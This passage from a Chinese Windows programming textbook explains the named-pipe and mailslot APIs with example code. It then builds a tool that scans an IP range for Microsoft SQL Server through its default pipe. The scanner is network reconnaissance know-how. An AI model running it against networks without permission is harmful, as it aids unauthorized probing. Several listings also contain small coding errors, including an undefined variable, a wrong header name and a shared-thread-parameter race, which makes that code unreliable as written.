在该格式中，“服务器”可以是服务器的名称，也可以是IP地址，当表示本机时，可以用“.”来表示。“资源名”即是指要共享的内存区域名称，有时，为了区分各个资源，还可以在前面加上“路径名”。UNC具有互斥性，同一台主机中，只能有一个UNC，也就是说，当创建UNC时，如果发现该UNC已创建，则创建会失败。

Microsoft SQL Server数据库支持命名管道，其默认的UNC名称是："\\.\pipe\sql\query"，其中服务器用“.”表示本机，但对于外界的访问，则要转成该服务器的IP地址或主机名。由于是默认值，所以只要允许命名管道通信方式，并且没有修改此值，就可以通过此UNC值进行判断，该值具有“可扫描”的特性。

Oracle公司的Oracle数据库同样支持命名管道技术，但该数据库由于没有默认的UNC名称，所以即使用户设置了命名管道通信方式，由于所设的UNC各不相同，此类数据库通过命名管道测试连接，并进行通信，因而也不具有“扫描”的特性。


9.2.2　命名管道编程的API

命名管道编程分为服务器端编程和客户端编程，服务器端编程要使用的API主要有：CreateNamedPipe、ConnectNamedPipe、DisconnectNamedPipe，客户端编程要使用的API主要有：WaitNamedPipe。另外，还有以文件方式写入管道和从管道中读数据的函数，如CreateFile、OpenFile、ReadFile、WriteFile、CloseHandle。

9.2.2.1　CreateNamedPipe函数



HANDLE CreateNamedPipe(

LPCTSTR lpName,//指向管道名称的指针

DWORD dwOpenMode,//管道访问模式

DWORD dwPipeMode,//管道模式

DWORD nMaxInstances,//最大实例数

DWORD nOutBufferSize,//输出缓存大小

DWORD nInBufferSize,//输入缓存大小

DWORD nDefaultTimeOut,//超时设置

LPSECURITY_ATTRIBUTES lpSecurityAttributes//安全属性指针

);



CreateNamedPipe函数创建一个命名管道，并且返回一个管道句柄，以后几乎所有的操作都会使用该句柄。根据经验，使用该函数有一个容易忽视的问题，即用户对文件系统的访问权限。要想成功使用此函数，用户必须对文件系统具有FILE_CREATE_PIPE_INSTANCE权限，简单地说，就是如果用户登录操作系统使用的不是Administrators组的成员，则有时会不成功，这时不是程序的错，而是权限的错误。

所有实例的访问模式、打开模式、最大实例数、超时设置都必须一样，否则在调用的时候会失败，调用GetLastError，会返回ERROR_ACCESS_DENIED（访问被拒绝）错误。

返回值：如果函数调用成功，返回一个命名管道的句柄；如果失败，返回值是INVALID_HANDLE_VALUE。想获得进一步的错误解释，可以通过调用GetLastError，其中，返回值ERROR_INVALID_PARAMETER表示nMaxInstances的值超出了该参数所能设定的最大范围（PIPE_UNLIMITED_INSTANCES）。

参数如下：

❑lpName：指向一个命名管道的UNC格式字符串。该格式通常是“\\.\pipe\＜管道名称＞”。管道名称大小写通用，理论上来说，可以包含除了反斜杠字符本身（“\”）之外的所有字符，但建议只使用字母和数字。整个字符串的长度应在256个字符以内。

❑dwOpenMode：打开模式。打开模式同时包括访问模式、重叠模式、写入模式、安全访问模式四项，每个模式之内各有要求，各模式之间都是“逻辑或”的关系。需要注意的是，用户的客户端程序也必须具有同样的模式，才能正常访问。

首先，访问模式必须是下列各常数标志位之一：
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其次，重叠模式和写入模式可以包含下列中的一个或两个常数标志位：
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最后，安全访问模式可以包含下列各常数标志位的任意组合：
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❑dwPipeMode：管道的模式，读或是等待句柄。可以是如下常数标志位之一：
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同时，还有一些可选常数标志位：
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还有几种常数标志位可以任意组合：

[image: ]


❑nMaxInstances：允许同时访问的最大数。有效范围从1到PIPE_UNLIMITED_INSTANCES。如果参数值设为PIPE_UNLIMITED_INSTANCES，则表示最大的数取决于系统中对该类资源的限制。

❑nOutBufferSize：用于输出的缓冲区的字节数大小。

❑nInBufferSize：用于输入的缓冲区的字节数大小。

❑nDefaultTimeOut：默认的时间超时值，以毫秒为单位。如果WaitNamedPipe函数中设置的等待时间为NMPWAIT_USE_DEFAULT_WAIT，则每一个管道的线程必须设定为相同的值。

❑lpSecurityAttributes：指向一个SECURITY_ATTRIBUTES结构的指针，该结构用于表示一个新命名管道的安全描述，同时也说明了该安全级别是否向其返回的线程实例中传递。如果该值为NULL，则管道会获得一个默认的安全描述，同时其句柄不会从此描述中继承。

9.2.2.2　WaitNamedPipe函数



BOOL WaitNamedPipe(

LPCTSTR lpNamedPipeName,//管道名称

DWORD nTimeOut//超时值

);



WaitNamedPipe函数运行会处于等待状态，当有时间超时或指定的命名管道可以连接时，函数会退出。如果指定的命名管道根本就不存在，则函数不考虑nTimeOut，马上返回。如果成功，则可以通过CreateFile创建一个引用该命名空间的句柄。

返回值：如果函数调用成功，返回一个非0值；如果失败，则返回0，此时可以通过调用GetLastError获得更详细的解释。

参数如下：

❑lpNamedPipeName：参见9.2.2.1节中的lpName。

❑nTimeOut：指定等待的时间，以毫秒为单位。该值除了直接指定超时值之外，还可以使用下面值：
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9.2.2.3　ConnectNamedPipe函数



BOOL ConnectNamedPipe(

HANDLE hNamedPipe,//命名管道的句柄

LPOVERLAPPED lpOverlapped//overlapped结构

);



ConnectNamedPipe函数使命名管道服务器等待客户端的连接，客户端可以通过CreateFile或CallNamedPipe函数建立连接。

返回值：如果函数调用成功，返回一个非0值；如果失败，则返回0，此时可以通过调用GetLastError获得更详细的解释。如果GetLastError返回的是ERROR_PIPE_CONNECTED，则表示服务器端还没有创建之前，客户端就已调用。

参数如下：

❑hNamedPipe：服务器端的句柄，该句柄由CreateNamedPipe返回。

❑lpOverlapped：指向一个OVERLAPPED结构。

9.2.2.4　DisconnectNamedPipe函数



BOOL DisconnectNamedPipe(

HANDLE hNamedPipe//命名管道的句柄

);



DisconnectNamedPipe函数使命名管道服务器断开与客户端的连接。

返回值：参见9.2.2.2节的返回值。

参数hNamedPipe是服务器端的句柄，该句柄由CreateNamedPipe返回。

9.2.2.5　CreateFile函数



HANDLE CreateFile(

LPCTSTR lpFileName,//文件名

DWORD dwDesiredAccess,//访问模式

DWORD dwShareMode,//共享模式

LPSECURITY_ATTRIBUTES lpSecurityAttributes,//安全属性

DWORD dwCreationDisposition,//创建方式

DWORD dwFlagsAndAttributes,//文件的属性

HANDLE hTemplateFile//模板文件的句柄

);



CreateFile函数用于创建一个新的文件并打开。这里的文件是广义文件，如设备、接口、管道等都可以视为“文件”。

返回值：如果调用成功，返回一个文件句柄；如果失败则返回一个INVALID_HANDLE_VALUE，要获得进一步的解释，调用GetLastError函数。

参数如下：

❑lpFileName：参见9.2.2.1节中的lpName。

❑dwDesiredAccess：访问权限，可以是以下各值的任意组合：
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除了上面的访问权限之外，还要有一些访问标志位和掩码标志位，其中访问标志位有：DELETE、READ_CONTROL、WRITE_DAC、WRITE_OWNER、SYNCHRONIZE、STANDARD_RIGHTS_REQUIRED、STANDARD_RIGHTS_READ、STANDARD_RIGHTS_WRITE、STANDARD_RIGHTS_EXECUTE、STANDARD_RIGHTS_ALL；掩码标志位有：SPECIFIC_RIGHTS_ALL、ACCESS_SYSTEM_SECURITY、MAXIMUM_ALLOWED。

❑dwShareMode：共享的模式。有如下值：

[image: ]


❑lpSecurityAttributes：安全属性指针，指向一个SECURITY_ATTRIBUTES结构。该结构决定继承的句柄是否还有同样的权限。如果lpSecurityAttributes的值为NULL，则句柄不能继承。

❑dwCreationDisposition：如果要创建的文件已存在，则需要进行下一步的处理。可以是下面值之一：
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❑dwFlagsAndAttributes：文件属性。该属性除了具有FILE_ATTRIBUTE_NORMAL属性之外，还可以与下面各参数任意组合：
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❑hTemplateFile：访问临时文件的句柄。

9.2.2.6　OpenFile函数



HFILE OpenFile(

LPCSTR lpFileName,//文件名

LPOFSTRUCT lpReOpenBuff,//文件内容缓冲区

UINT uStyle//操作的方式

);



打开已存在的文件。这里的文件是广义文件，如设备、接口、管道等都可以视为“文件”。

返回值参见9.2.2.5节的返回值。

参数如下：

❑lpFileName：指向一个缓冲区，用于保存要打开的文件名。

❑lpReOpenBuff：指向一个OFSTRUCT结构，是文件第一次打开时收到的信息，用于以后使用。

❑uStyle：指明要产生的动作。参数可以是以下之一或其中的组合：
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9.2.2.7　ReadFile函数



BOOL ReadFile(

HANDLE hFile,//文件句柄

LPVOID lpBuffer,//数据缓冲区

DWORD nNumberOfBytesToRead,//要读取的字节数

LPDWORD lpNumberOfBytesRead,//实际读取的字节数的指针

LPOVERLAPPED lpOverlapped//overlapped缓冲区

);



ReadFile函数完成从已打开的文件中读取指定长度的数据。

返回值：在管道应用中，当对方写完，则本地读取函数会返回。如果调用失败，则返回0，要获得进一步的解释，调用GetLastError函数。如果调用成功，则返回非0值，如果此值小于nNumberOfBytesToRead，则表示对方实际写的就是该字节数。

参数如下：

❑hFile：指向一个需要读取文件的句柄。该文件必须具有GENERIC_READ权限。

❑lpBuffer：指向一个缓冲区，用于保存读取的数据。

❑nNumberOfBytesToRead：要读取的字节数。

❑lpNumberOfBytesRead：指向一个DWORD类型的指针，用于保存实际读到的字节数。在命名管道的操作中，如果对方的WriteFile中的nNumberOfBytesToWrite被设为0，则ReadFile中该参数为0，并且返回TRUE。

❑lpOverlapped：指向一个OVERLAPPED结构。该结构需要在创建的时候具有FILE_FLAG_OVERLAPPED属性，如果具有此属性，则值不能为NULL，并指向一个OVERLAPPED结构。

9.2.2.8　WriteFile函数



BOOL WriteFile(

HANDLE hFile,//文件句柄

LPCVOID lpBuffer,//数据缓冲区

DWORD nNumberOfBytesToWrite,//缓冲区中要写入字节数

LPDWORD lpNumberOfBytesWritten,//实际写入字节数

LPOVERLAPPED lpOverlapped//overlapped缓冲区

);



WriteFile函数完成向已打开的文件中写入指定长度的数据。

返回值参见9.2.2.2节的返回值。

参数如下：

❑hFile：指向一个需要读取文件的句柄。该文件必须具有GENERIC_WRITE权限。

❑lpBuffer：指向一个缓冲区，其中保存有要写入的数据。

❑nNumberOfBytesToWrite：要写入的字节数。

❑lpNumberOfBytesWritten：指向一个DWORD类型的指针，用于返回写入的实际字节数。

❑lpOverlapped：指向一个OVERLAPPED结构。

9.2.2.9　CloseHandle函数



BOOL CloseHandle(

HANDLE hObject//文件句柄

);



该函数用于关闭之前打开的文件句柄。

返回值参见9.2.2.2节的返回值。

参数hObject指向一个需要关闭的句柄。


9.3　命名管道编程示例


 9.3.1　命名管道服务器端

命名管道服务器端的主要任务是创建一个命名管道，通过该管道，别的主机或本主机别的进程就可以连接此服务器端，然后进行数据通信。



//创建命名管道，在本例中，创建的命名管道名称为"\\.\Pipe\Test"。

HANDLE m_hPipe=CreateNamedPipe("\\\\.\\Pipe\\Test",PIPE_ACCESS_DUPLEX,

PIPE_TYPE_BYTE|PIPE_READMODE_BYTE,1,0,0,1000,NULL);

if(m_hPipe==INVALID_HANDLE_VALUE)

m_sMessage="创建命名管道失败!";

else

{

m_sMessage="成功创建命名管道!";

//创建成功，则开启线程等待连接

AfxBeginThread(PipeServer,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(100);

}



ConnectNamedPipe函数在没有客户机连接到服务器时会无限等待下去，虽然不影响使用，但整个程序看上去像“卡死”一样，直到有连接才会正常。为了避免这种现象发生，专门创建一个线程PipeServer，由该线程等待。



UINT PipeServer(LPVOID lpVoid)

{

char buffer[1024];//数据缓存

DWORD ReadNum;

CServerView*pView=(CServerView*)lpVoid;//获取句柄

if(ConnectNamedPipe(pView-＞m_hPipe,NULL)==FALSE)//等待客户机的连接

{

CloseHandle(pView-＞m_hPipe);//关闭管道句柄

pView-＞m_sMessage="与客户机建立连接失败!";//显示信息

pView-＞Invalidate();

return 0;

}

else

{

pView-＞m_sMessage="与客户机建立连接!";//显示信息

pView-＞Invalidate();

}

//从管道读取数据

if(ReadFile(pView-＞m_hPipe,buffer,sizeof(buffer),＆ReadNum,NULL)==FALSE)

{

CloseHandle(pView-＞m_hPipe);//关闭管道句柄

pView-＞m_sMessage="从管道读取数据失败!";//显示信息

pView-＞Invalidate();

}

else

{

buffer[ReadNum]='\0';//显示接收到的信息

pView-＞m_sMessage=CString(buffer);

pView-＞Invalidate();

}

return 1;

}



在客户端同服务器建立连接后，ConnectNamedPipe才会返回，后面的语句才得以执行。随后的ReadFile负责把客户写入管道的数据读取出来。在全部操作完成后，服务器可以通过调用函数DisconnectNamedPipe来终止连接：



if(DisconnectNamedPipe(m_hPipe)==FALSE)//终止连接

m_sMessage="终止连接失败!";

else

{

CloseHandle(m_hPipe);//关闭管道句柄

m_sMessage="成功终止连接!";

}




9.3.2　命名管道客户端

命名管道的客户端通过与命名管道服务器所指定的命名管道UNC来建立连接，进行通信。这里涉及一个客户端如何获得命名管道的问题，因为客户端不知道对方所用的命名管道名称，就无法建立连接，也谈不上随后的操作；而服务器端根本就不知道哪个客户端会有连接请求，更谈不上通知对方命名管道名称。在实际的通信设计中，命名管道服务器“通知”命名管道客户端其所用的命名管道名称一般是通过区别于命名管道通信机制的第二方渠道（如产品手册中）完成的。

分析上述问题的意义在于：命名管道扫描器的作用正是处于与命名管道客户端同等的地位，如果扫描器不知道要扫描的主机的命名管道名称，也就无从谈起“扫描”了。因此命名管道扫描器通常扫描具有已知的命名管道名称UNC的服务器。

下面的代码假设客户已通过别的渠道知道了要连接的命名管道服务器的命名管道名称（例中的"\\.\Pipi\Test"）。



CString Message="[测试数据,由客户机发出]";//要发送的数据

DWORD WriteNum;//发送的是数据长度

//等待与服务器的连接

if(WaitNamedPipe("\\\\.\\Pipe\\Test",NMPWAIT_WAIT_FOREVER)==FALSE)

{

m_sMessage="等待连接失败!";//显示信息

Invalidate();

return;}

//打开已创建的管道句柄

HANDLE hPipe=CreateFile("\\\\.\\Pipe\\Test",GENERIC_READ|GENERIC_WRITE,

0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(hPipe==INVALID_HANDLE_VALUE)

{

m_sMessage="管道打开失败!";//显示信息

Invalidate();

return;

}

else

{

m_sMessage="成功打开管道!";//显示信息

UpdateData(FALSE);

}

//向管道写入数据

if(WriteFile(hPipe,Message,Message.GetLength(),＆WriteNum,NULL)==FALSE)

{

m_sMessage="数据写入管道失败!";//显示信息

UpdateData(FALSE);

}

else

{

m_sMessage="数据成功写入管道!";//显示信息

UpdateData(FALSE);

}

CloseHandle(hPipe);//关闭管道句柄




9.4　邮槽

除了命名管道之外，还有一种通信方式称为邮槽（MailSlot）。和命名管道一样，邮槽也是一种进程间通信方式，通信的双方同样采用客户端/服务器模式，在通信时，服务器进程可将消息单传或广播给一个或多个客户端进程。由于邮槽是围绕一个广播通信体系设计的，所以不能实现可靠传输，只能应用在对数据传输的可靠性要求不高的地方。邮槽最大的缺点是，只允许从客户端到服务器建立一种不可靠的单向数据通信。

Windows（Windows CE除外）提供了一种简单的单向的进程间通信（InterProcess Communication,IPC）机制，叫做邮槽，通过邮槽，客户端进程可将消息传送或广播给一个或多个服务器进程。邮槽在同一台计算机的不同进程间，或在跨越整个网络的不同计算机的进程间，协助进行消息的传输。用邮槽开发应用程序是非常简单的，不要求对TCP/IP或IPX这样的基层网络传输协议有深入了解。

邮槽消息的长度随不同的Windows版本、不同的连接模式而有所不同，详细格式见表9.1。
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由于Windows NT和Windows 2000重定向器不能收发长度正好为425或426字节的一条数据报消息，这种情况下Windows重定向器会在消息发给目标服务器之前，将其长度截短为424字节。要想保证各种Windows平台之间能够完全正常地通信，强烈建议将消息长度限制在424字节以内或者更短。


 9.4.1　邮槽的UNC格式

邮槽的UNC格式是：



\\＜服务器＞\mailslot\[路径名\]＜资源名＞



其中各项的意义与命名管道同项的意义相同。与命名管道不同的是，由于邮槽采用广播方式，所以“＜服务器＞”还可以用“*”表示所有的服务器，同时如果“＜服务器＞”用域名，则表示同域的所有服务器。


9.4.2　邮槽编程的API

9.4.2.1　CreateMailSlot函数



HANDLE CreateMailSlot(

LPCTSTR lpName,//邮槽的UNC

DWORD nMaxMessageSize,//消息最大的长度

DWORD lReadTimeout,//超时溢出值

LPSECURITY_ATTRIBUTES lpSecurityAttributes//权限结构指针

);



CreateMailSlot函数创建一个邮槽，并且返回一个邮槽句柄，以后几乎所有的操作都会使用该句柄。

返回值：如果函数调用成功，返回一个邮槽的句柄；如果失败，返回值是INVALID_HANDLE_VALUE，通过调用GetLastError可获得进一步解释。

参数如下：

❑lpName：指向一个邮槽的UNC格式字符串。该格式通常是“\\.\mailslot\＜邮槽名称＞”。邮槽名称大小写通用，理论上来说，可以包含除了反斜杠字符本身（“\”）之外的所有字符，但建议只使用字母和数字。整个字符串的长度应在256个字符以内。

❑nMaxMessageSize:信息的最大字节长度。如果想使用一个信息的最大长度，则设为0。

❑lReadTimeout：读取超时值，以毫秒为单位。该值除了是设置的值之外，还可以是下面的值：
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❑lpSecurityAttributes：指向一个SECURITY_ATTRIBUTES结构的指针，该结构用于表示一个新邮槽的安全描述，同时也说明了该安全级别是否向其返回的线程实例中传递。如果该值为NULL，则邮槽会获得一个默认的安全描述，同时其句柄不会从此描述中继承。

9.4.2.2　GetMailSlotInfo函数



BOOL GetMailSlotInfo(

HANDLE hMailSlot,//邮槽的句柄，由CreateMailSlot创建

LPDWORD lpMaxMessageSize,//消息的最大长度

LPDWORD lpNextSize,//下一个消息的长度

LPDWORD lpMessageCount,//消息的个数

LPDWORD lpReadTimeout//超时值，以毫秒为单位

);



GetMailSlotInfo函数返回指定邮槽的信息。

返回值参见9.2.2.2节。

参数如下：

❑hMailSlot：由CreateMailSlot返回MailSlot的句柄。

❑lpMaxMessageSize：表示最大缓冲区DWORD值的指针，以字节为单位。如果该值设为NULL或小于所需要的值，函数将返回实际所需要的长度。

❑lpNextSize：指定缓冲区中下一个缓冲区信息的长度的指针，以字节为单位。返回值中，如果该值为MAILSLOT_NO_MESSAGE，则表示没有下一条信息。如果设置，可以为NULL。

❑lpMessageCount：等待读取信息的总个数的指针。设置的时候，参数可以为NULL。

❑lpReadTimeout：读取超时值指针，以毫秒为单位。设置的时候，参数可以为NULL，则系统会返回预设的超时值。

9.4.2.3　SetMailSlotInfo函数



BOOL SetMailSlotInfo(

HANDLE hMailSlot,//邮槽的句柄，由CreateMailSlot创建

DWORD lReadTimeout//超时值，以毫秒为单位

);



SetMailSlotInfo函数用于设定读取邮槽的超时值。该初始值是CreateMailSlot函数创建时所设值。

返回值参见9.2.2.2节。参数见前面两小节。


9.5　邮槽编程示例

邮槽的编程分为服务器端编程和客户端编程两种，其中服务器端创建一个UNC，客户端调用UNC，然后进行数据通信。


 9.5.1　邮槽服务器端编程

本示例邮槽的服务器端编程的主要流程是创建UNC，然后进行数据的收发，最终关闭UNC。

主要步骤如下：

1）调用CreateMailSlot函数，创建邮槽并返回邮槽的句柄。

2）通过调用ReadFile函数，从邮槽中读数据。

3）调用CloseHandle函数，关闭打开了的邮槽句柄。

代码如下：



#include＜windows.h＞

#include＜stdio.h＞

void main(void)

{

HANDLE hMailSlot;

char buffer[256];

DWORD dwNumOfBytesRead;

if((hMailSlot=CreateMailSlot("\\\\.\\mailslot\\Myslot",0,

MAILSLOT_WAIT_FOREVER,NULL))==INVALID_HANDLE_VALUE)

{

printf("错误:创建邮槽出错，错误码是%d。\n",GetLastError());

return;

}

while(ReadFile(hMailSlot,buffer,256,＆dwNumOfBytesRead,NULL)!=0)

{

buff[dwNumOfBytesRead]=0;

printf("收到数据:%s\n长度:%d。\n",buffer,dwNumOfBytesRead);

}

CloseHandle(hMailSlot);

}




9.5.2　邮槽客户端编程

邮槽的客户端示例程序的主要流程是，连接由邮槽服务器创建的UNC，如果连接失败，则表明邮槽服务器没有运行，则退出程序。

主要步骤如下：

1）调用CreateFile函数，打开邮槽并返回邮槽的句柄。

2）调用WriteFile API函数，向邮槽写入数据。

3）完成数据写入后，调用CloseHandle API函数，关闭打开了的邮槽句柄。

代码如下：



#include＜window.h＞

#include＜stdio.h＞

void main(int argc,char*argv[])

{

HANDLE hMailSlot;

DWORD dwBytesWritten;

char ServerName[256];

if(argc＜2)

{

printf("用法:%s＜服务器主机名或IP地址＞\n",argv[0]);

return;

}

sprintf(ServerName,"\\\\%s\\mailslot\\Myslot",argv[1]);

if((hMailSlot=CreateFile(ServerName,GENERIC_WRITE,FILE_SHARE_READ,NULL,

OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)

{

printf("错误:创建邮槽出错，错误码是%d。\n",GetLastError());

return;

}

if(WriteFile(hMailSlot,"This is a test",14,＆dwBytesWritten,NULL)==0)

{

printf("错误:向邮槽写入数据错，错误码是%d。\n",GetLastError());

return;

}

printf("写入了%d个字节的数据。\n",dwBytesWritten);

CloseHandle(hMailSlot);

}




9.6　编程实例：SQL Server命名管道扫描器的设计


 9.6.1　Microsoft SQL Server简介

Microsoft SQL Server是由Microsoft开发和推广的一套关系数据库管理系统（DataBase Management System,DBMS）。目前最新版本是Microsoft SQL Server 2008。

在实际应用中，经常需要判断一组主机中，哪些主机安装有Microsoft SQL Server数据库系统，Windows没有直接提供扫描Microsoft SQL Server数据库的程序，但是有些程序附带了这样的功能。例如ODBC（Open Database Connectivity，开放数据库互连）就具备这样的功能。在Windows操作系统中进入“控制面板”，在“控制面板”窗口的列表中单击“管理工具”项，打开“管理工具”窗口，在“管理工具”窗口中单击“数据源（ODBC）”项，就会弹出“ODBC数据源管理器”，如图9.1所示。
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图　9.1　ODBC数据源管理器

在ODBC数据源管理器界面中，“用户DSN”选项卡用于配置只能应用于当前主机上，并且仅供Windows当前登录用户使用的数据源，其中DSN（Data Source Name，数据源名称）用于记录一个与数据驱动的连接。“系统DSN”选项卡用于配置系统所有用户都可以用的数据源。“文件DSN”选项卡用于允许用户连接到数据提供的程序上。“驱动程序”选项卡列举了系统中当前支持的数据驱动、版本号、公司、文件、日期等信息。“跟踪”选项卡允许用户创建调用ODBC驱动程序的日志，以便于技术人员查看，也有助于调试应用程序。“连接池”选项卡允许应用程序以“重用”的方式打开连接句柄，以便节省到服务器的往返时间。“关于”选项卡是ODBC核心组件的一个列表。

“用户DSN”选项卡和“系统DSN”选项卡界面相同，单击“添加”按钮，可以添加新的ODBC数据源，如图9.2所示。
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图　9.2　选择数据源的驱动程序

在“创建新数据源”界面中，选择"SQL Server"以便在后面的操作中搜索SQL服务器，单击“完成”按钮进入到“创建到SQL Server的新数据源”窗口，如图9.3所示。
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图　9.3　配置SQL Server ODBC数据源

单击该窗口中“服务器”下拉列表框右边的向下三角按钮，程序就会查询网络上的Microsoft SQL Server数据库，几秒以后，会将所有的Microsoft SQL Server数据库显示在列表中。这种查询是一种“服务发现”方法（服务发现技术详见第10章10.1节“服务发现简介”），服务发现也是一种扫描技术，是本节要讲的扫描器所要完成的功能。

要扫描一段网络内的Microsoft SQL Server数据库，有很多种方法，一种方法是使用Socket连接一段IP内各主机的指定端口（Microsoft SQL Server数据库默认的端口是1433），然后通过Microsoft SQL Server连接协议进行判断，从而断定对方是否提供这种服务。这种方式在很多部分已介绍过了。

第二种扫描Microsoft SQL Server数据库的方法是通过调用NetServerGetInfo函数，然后根据返回属性中是否具有SV_TYPE_SQLSERVER属性进行判断，该部分内容详见第4章4.8节“编程实例：NetBIOS的通用扫描器”中的ReadOS函数。用这种方法扫描SQL Server数据库虽然具有实用性，但仍不属于本章讨论内容。

下面用另一种方式说明这种服务发现式的服务扫描器。

打开一个Microsoft SQL Server的“资源管理器”（Enterprise Manager），如图9.4所示。
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图　9.4　选Enterprise Manager的属性

在"Enterprise Manager"中，右击数据库名，在弹出的菜单中选择“属性”菜单项，即会弹出“SQL Server属性（配置）”对话框，如图9.5所示。
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图　9.5　数据库属性

该对话框中列举了SQL Server数据库的各项属性，由于本章只涉及对命名管道的扫描，所以本处只关注其中与命名管道相关的选项。单击“网络配置”按钮，即弹出“SQL Server网络实用工具”对话框，如图9.6所示。
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图　9.6　数据库属性网络配置

SQL Server支持多种协议，这里选择“命名管道”协议。要查看或修改默认的命名管道，可以在选中“命名管道”协议的同时，单击“属性”按钮，如图9.7所示。
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图　9.7　Microsoft SQL Server默认的命名管道

Microsoft SQL Server默认的命名管道是"\\.\pipe\sql\query"，并且SQL Server安装完毕后，会自动地将“命名管道”作为默认启动的协议。正因为如此，使SQL Server服务器具有了“可扫描”特性。


9.6.2　程序主界面

要设计这样一个默认的命名管道扫描器，可以设计一个界面，如图9.8所示。
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图　9.8　Microsoft SQL Server命名管道扫描器界面

主界面分为上、下两部分，上部分是“扫描结果”分组，用于输入IP地址范围，本处的IP输入采用的是IP输入控件，可以保证输入的IP值肯定是正确的，但“开始IP”必须小于“结束IP”，这是程序判断的。单击“开始查找”按钮，即可在该IP段内通过命名管道查找指定的Microsoft SQL Server服务器；单击“停止查找”按钮，程序会中止当前的扫描状态。

下面“系统命令”分组显示命令执行结果和当前状态。单击“清空列表”按钮会清空已监测到的结果。单击“退出系统”按钮，会在保存了界面各数值后退出系统。


9.6.3　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为SearchSql。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义



#define INIFILENAME".\\SearchDatabase.ini"

typedef struct ThreadParamStruct

{

CString strIP;

int iIndexInList;

CSearchDatabaseDlg*ptr;

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadSearchDatabase(LPVOID pParam);

BOOL g_bScaning;

int g_iTotalThreadCount=0;



3.程序主要代码



BOOL CSearchDatabaseDlg::OnInitDialog()

{

...//由Visual C++在创建时自动生成的代码略

g_bScaning=FALSE;

g_iTotalThreadCount=0;

CString strTemp;

char buff[MAX_PATH];

GetPrivateProfileString("Param","IPBegin","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIPBegin.SetWindowText(buff);

GetPrivateProfileString("Param","IPEnd","127.0.0.1",buff,MAX_PATH,INIFILENAME);

m_ctlIPEnd.SetWindowText(buff);

UpdateData(FALSE);

SetTimer(1,1000,NULL);

return TRUE;

}

void CSearchDatabaseDlg::OnBUTTONSearch()

{

UpdateData(TRUE);

UNIONIP ipBegin,ipEnd;

m_ctlIPBegin.GetAddress(ipBegin.dwDword);

m_ctlIPEnd.GetAddress(ipEnd.dwDword);

int iIndexInList=0;

CString strTemp;

g_bScaning=TRUE;

ThreadParam.ptr=this;

for(DWORD ip=ipBegin.dwDword;ip＜=ipEnd.dwDword;ip++)

{

ThreadParam.strIP=IPDwordToStr(ip);

ThreadParam.iIndexInList=iIndexInList;

AfxBeginThread(ThreadSearchDatabase,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(40);

iIndexInList++;

}

m_strComment.Format("扫描结束");

UpdateData(FALSE);

}

UINT ThreadSearchDatabase(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;

CSearchDatabaseDlg*ptr=threadparam-＞ptr;

int iIndexInList=threadparam-＞iIndexInList;

g_iTotalThreadCount++;

CString strSqlPipe;

strSqlPipe.Format("\\\\%s\\pipe\\sql\\query",strIP);

//AfxMessageBox(strSqlPipe);

//等待与服务器的连接

//DWORD dwTimeout=5*1000;//NMPWAIT_WAIT_FOREVER

if(WaitNamedPipe(strSqlPipe,NMPWAIT_USE_DEFAULT_WAIT)==FALSE)

{

//AfxMessageBox("等待连接失败!");//显示信息

g_iTotalThreadCount--;

return 1;

}

//打开已创建的管道句柄

HANDLE hPipe=CreateFile(strSqlPipe,GENERIC_READ|GENERIC_WRITE,0,

NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(hPipe==INVALID_HANDLE_VALUE)

{

//AfxMessageBox("管道打开失败!");//显示信息

g_iTotalThreadCount--;

return 2;

}

//else

//{

//AfxMessageBox("成功打开管道!");//显示信息

//}

//向管道写入数据

/*CString strMessage="Hello,I am here.";

DWORD lWriteNum=0;

if(WriteFile(hPipe,strMessage,strMessage.GetLength(),＆lWriteNum,NULL)==FALSE)

{

AfxMessageBox("数据写入管道失败!");//显示信息

}

else

{

AfxMessageBox("数据写入管道成功!");//显示信息

}

if(ReadFile(hPipe,strMessage,strMessage.GetLength(),＆lWriteNum,NULL)==FALSE)

{

AfxMessageBox("数据写入管道失败!");//显示信息

}

else

{

AfxMessageBox("数据写入管道成功!");//显示信息

}*/

CString strMessage;

strMessage.Format("%s有Microsoft SQL Server数据库。",strIP);

ptr-＞m_ctlListResult.AddString(strMessage);

CloseHandle(hPipe);//关闭管道句柄

g_iTotalThreadCount--;

return 0;

}

void CSearchDatabaseDlg::OnCancel()

{

//程序退出时要做的操作，主要是让用户确认是否退出和保存必要的参数

if(MessageBox("确实要退出吗?","退出系统",

MB_OKCANCEL|MB_DEFBUTTON2|MB_ICONQUESTION)==IDOK)

{

CString strTemp;

UpdateData(TRUE);

m_ctlIPBegin.GetWindowText(strTemp);

WritePrivateProfileString("Param","IPBegin",strTemp,INIFILENAME);

m_ctlIPEnd.GetWindowText(strTemp);

WritePrivateProfileString("Param","IPEnd",strTemp,INIFILENAME);

CDialog::OnCancel();

}

}

void CSearchDatabaseDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1:

if(g_bScaning)

{

UpdateData(TRUE);

if(g_iTotalThreadCount==0)

{

g_bScaning=FALSE;

m_strComment.Format("扫描结束。");

KillTimer(1);

}

else

{

m_strComment.Format("扫描中（%d）......",g_iTotalThreadCount);

}

UpdateData(FALSE);

}

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}




第10章　服务发现扫描器的设计

“服务发现”协议，简单地说，就是一个未加入某网络的主机或设备可以通过该协议自动找到路由设备，且自动获得自己合适的配置。在随后留在此网络期间，该主机应主动地通知其他主机或设备，并获得其他主机或设备的信息，根据需要与其他主机或设备进行相互通信，在离开网络时通知其他主机或设备。参与“服务发现”的所有设备，都需要定时向其他主机或设备通知自己的状态，根据这一原理，可以编出服务发现扫描器，通过“扫描”发现网络中正在运行的主机。

